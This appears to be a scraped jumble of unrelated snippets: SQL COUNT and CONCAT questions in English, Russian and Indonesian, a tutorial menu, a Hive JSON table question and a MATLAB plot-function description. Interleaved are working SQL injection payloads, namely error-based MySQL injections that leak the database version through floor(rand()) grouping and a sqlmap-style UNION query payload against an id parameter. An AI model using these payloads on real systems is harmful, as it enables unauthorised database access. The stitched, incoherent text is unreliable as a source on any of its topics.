(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1)) '+(select 1 and
$result = mysql_query("SELECT COUNT(*) FROM Students;"); I need the result to display.
SELECT FirstName, COUNT(*) FROM Person.Person GROUP BY FirstName. Посмотрел на план запроса и увидел там явно неадекватное значение Estimated number of rows
SQL HOME SQL Intro SQL Syntax SQL Select SQL Select Distinct SQL Where SQL And, Or, Not SQL Order By SQL Insert Into SQL Null Values SQL Update SQL Delete SQL Select Top SQL Min and Max SQL Count, Avg
When I execute SELECT COUNT(*) FROM TABLE, the output is "1," but the input file has multiple JSON records. I used org.openx.data.jsonserde.JsonSerDe to create the table. Why is the query returning the wrong value?
Type: UNION query Title: Generic UNION query (NULL) - 8 columns Payload: id=401' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL
Функция CONCAT предназначена для сложения строк при выборке из базы данных. Строками обычно выступают поля таблиц.
Payload: “ and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=. 1 — -. NOTE: payload ini nggak bakalan work kalok...
Plots various measures of progress while the algorithm executes; select from predefined plots or write your own. Pass a built-in plot function name, a function handle, or a cell array of built-in plot function names or function handles.